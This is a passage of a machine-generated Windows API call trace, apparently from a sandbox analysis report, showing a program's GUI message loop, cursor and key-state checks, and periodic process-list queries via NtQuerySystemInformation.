lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0216.852] WaitMessage () returned 1 [0217.382] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0217.382] IsWindowUnicode (hWnd=0x10166) returned 1 [0217.382] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0217.382] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0217.382] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0217.382] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0217.382] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0217.382] WaitMessage () returned 1 [0217.850] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0217.850] IsWindowUnicode (hWnd=0x1015c) returned 1 [0217.850] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0217.850] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0217.850] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0217.850] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x64f0) returned 0x0 [0217.852] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0217.852] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0217.852] WaitMessage () returned 1 [0217.915] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0217.915] IsWindowUnicode (hWnd=0x10166) returned 1 [0217.915] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0217.915] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0217.915] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0217.916] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0217.916] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0217.916] WaitMessage () returned 1 [0218.443] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0218.443] IsWindowUnicode (hWnd=0x10166) returned 1 [0218.443] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0218.443] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0218.443] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0218.443] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0218.444] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0218.444] WaitMessage () returned 1 [0218.973] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0218.973] IsWindowUnicode (hWnd=0x10166) returned 1 [0218.973] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0218.974] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0218.974] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0218.974] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0218.974] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0218.974] WaitMessage () returned 1 [0219.150] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0219.151] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x84, wParam=0x0, lParam=0x2820352) returned 0x1 [0219.151] IsWindowUnicode (hWnd=0x1017a) returned 1 [0219.151] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0219.151] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x84, wParam=0x0, lParam=0x2820352) returned 0x1 [0219.151] SetCursor (hCursor=0x10003) returned 0x10003 [0219.151] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0219.151] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0219.151] _TrackMouseEvent (in: lpEventTrack=0x2b1ead8 | out: lpEventTrack=0x2b1ead8) returned 1 [0219.151] SendMessageW (hWnd=0x1017a, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0219.151] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0219.152] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x200, wParam=0x0, lParam=0x690014) returned 0x0 [0219.152] GetKeyState (nVirtKey=1) returned 0 [0219.152] GetKeyState (nVirtKey=2) returned 0 [0219.152] GetKeyState (nVirtKey=4) returned 0 [0219.152] GetKeyState (nVirtKey=5) returned 0 [0219.152] GetKeyState (nVirtKey=6) returned 0 [0219.152] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0219.152] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0219.152] WaitMessage () returned 1 [0219.153] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0219.153] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x84, wParam=0x0, lParam=0x2820352) returned 0x1 [0219.155] IsWindowUnicode (hWnd=0x1017a) returned 1 [0219.155] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0219.155] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x84, wParam=0x0, lParam=0x2820352) returned 0x1 [0219.155] SetCursor (hCursor=0x10003) returned 0x10003 [0219.156] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0219.156] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0219.156] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x200, wParam=0x0, lParam=0x690014) returned 0x0 [0219.156] GetKeyState (nVirtKey=1) returned 0 [0219.156] GetKeyState (nVirtKey=2) returned 0 [0219.156] GetKeyState (nVirtKey=4) returned 0 [0219.156] GetKeyState (nVirtKey=5) returned 0 [0219.156] GetKeyState (nVirtKey=6) returned 0 [0219.156] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0219.157] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0219.157] WaitMessage () returned 1 [0219.158] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0219.158] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x84, wParam=0x0, lParam=0x2820352) returned 0x1 [0219.158] IsWindowUnicode (hWnd=0x1017a) returned 1 [0219.158] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0219.158] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x84, wParam=0x0, lParam=0x2820352) returned 0x1 [0219.158] SetCursor (hCursor=0x10003) returned 0x10003 [0219.158] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0219.158] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0219.158] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x200, wParam=0x0, lParam=0x690014) returned 0x0 [0219.158] GetKeyState (nVirtKey=1) returned 0 [0219.158] GetKeyState (nVirtKey=2) returned 0 [0219.158] GetKeyState (nVirtKey=4) returned 0 [0219.158] GetKeyState (nVirtKey=5) returned 0 [0219.158] GetKeyState (nVirtKey=6) returned 0 [0219.158] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0219.158] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0219.158] WaitMessage () returned 1 [0219.254] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0219.255] IsWindowUnicode (hWnd=0x1017a) returned 1 [0219.255] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0219.255] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0219.255] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0219.255] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0219.255] IsWindowUnicode (hWnd=0x1017a) returned 1 [0219.255] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0219.255] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0219.255] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0219.255] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x2a1, wParam=0x0, lParam=0x690014) returned 0x0 [0219.255] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0219.255] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0219.255] WaitMessage () returned 1 [0219.504] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0219.504] IsWindowUnicode (hWnd=0x10166) returned 1 [0219.504] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0219.504] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0219.504] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0219.504] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0219.504] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0219.505] WaitMessage () returned 1 [0219.863] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0219.863] IsWindowUnicode (hWnd=0x1015c) returned 1 [0219.863] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0219.863] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0219.863] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0219.863] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x64f0) returned 0x0 [0219.872] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0219.872] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0219.872] WaitMessage () returned 1 [0220.034] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0220.034] IsWindowUnicode (hWnd=0x10166) returned 1 [0220.034] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0220.034] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0220.034] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0220.034] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0220.035] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0220.035] WaitMessage () returned 1 [0220.163] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0220.163] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0220.163] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0220.163] IsWindowUnicode (hWnd=0x1017a) returned 1 [0220.163] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0220.163] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0220.163] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0220.163] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0220.164] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0220.164] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0220.164] WaitMessage () returned 1 [0220.565] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0220.565] IsWindowUnicode (hWnd=0x10166) returned 1 [0220.565] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0220.565] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0220.565] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0220.565] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0220.565] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0220.565] WaitMessage () returned 1 [0221.095] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0221.095] IsWindowUnicode (hWnd=0x10166) returned 1 [0221.095] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0221.095] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0221.095] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0221.096] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0221.096] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0221.096] WaitMessage () returned 1 [0221.625] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0221.625] IsWindowUnicode (hWnd=0x10166) returned 1 [0221.626] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0221.626] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0221.626] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0221.626] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0221.626] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0221.626] WaitMessage () returned 1 [0221.876] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0221.877] IsWindowUnicode (hWnd=0x1015c) returned 1 [0221.877] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0221.877] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0221.877] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0221.877] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x64f0) returned 0x0 [0221.878] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0221.878] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0221.878] WaitMessage () returned 1 [0222.156] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0222.156] IsWindowUnicode (hWnd=0x10166) returned 1 [0222.156] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0222.156] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0222.156] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0222.156] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0222.156] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0222.156] WaitMessage () returned 1 [0222.190] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0222.190] MapWindowPoints (in: hWndFrom=0x10172, hWndTo=0x0, lpPoints=0xb6ed50, cPoints=0x2 | out: lpPoints=0xb6ed50) returned 21103092 [0222.190] IsWindowUnicode (hWnd=0x10172) returned 1 [0222.190] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0222.190] MapWindowPoints (in: hWndFrom=0x10172, hWndTo=0x0, lpPoints=0xb6ed90, cPoints=0x2 | out: lpPoints=0xb6ed90) returned 21103092 [0222.190] SetCursor (hCursor=0x10003) returned 0x10003 [0222.191] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0222.191] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0222.191] _TrackMouseEvent (in: lpEventTrack=0x2b37270 | out: lpEventTrack=0x2b37270) returned 1 [0222.191] SendMessageW (hWnd=0x10172, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0222.191] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0222.191] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x200, wParam=0x0, lParam=0x33010c) returned 0x0 [0222.191] GetKeyState (nVirtKey=1) returned 0 [0222.191] GetKeyState (nVirtKey=2) returned 0 [0222.191] GetKeyState (nVirtKey=4) returned 0 [0222.191] GetKeyState (nVirtKey=5) returned 0 [0222.191] GetKeyState (nVirtKey=6) returned 0 [0222.191] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0222.191] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0222.191] WaitMessage () returned 1 [0222.297] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0222.297] IsWindowUnicode (hWnd=0x10172) returned 1 [0222.298] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0222.298] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0222.298] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0222.298] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0222.298] IsWindowUnicode (hWnd=0x10172) returned 1 [0222.298] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0222.298] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0222.298] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0222.298] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x2a1, wParam=0x0, lParam=0x33010c) returned 0x0 [0222.298] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0222.298] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0222.298] WaitMessage () returned 1 [0222.688] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0222.688] IsWindowUnicode (hWnd=0x10166) returned 1 [0222.688] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0222.688] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0222.688] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0222.688] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0222.688] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0222.688] WaitMessage () returned 1 [0223.205] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0223.205] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0223.205] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0223.205] IsWindowUnicode (hWnd=0x10172) returned 1 [0223.205] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0223.205] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0223.205] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0223.205] CallWindowProcW 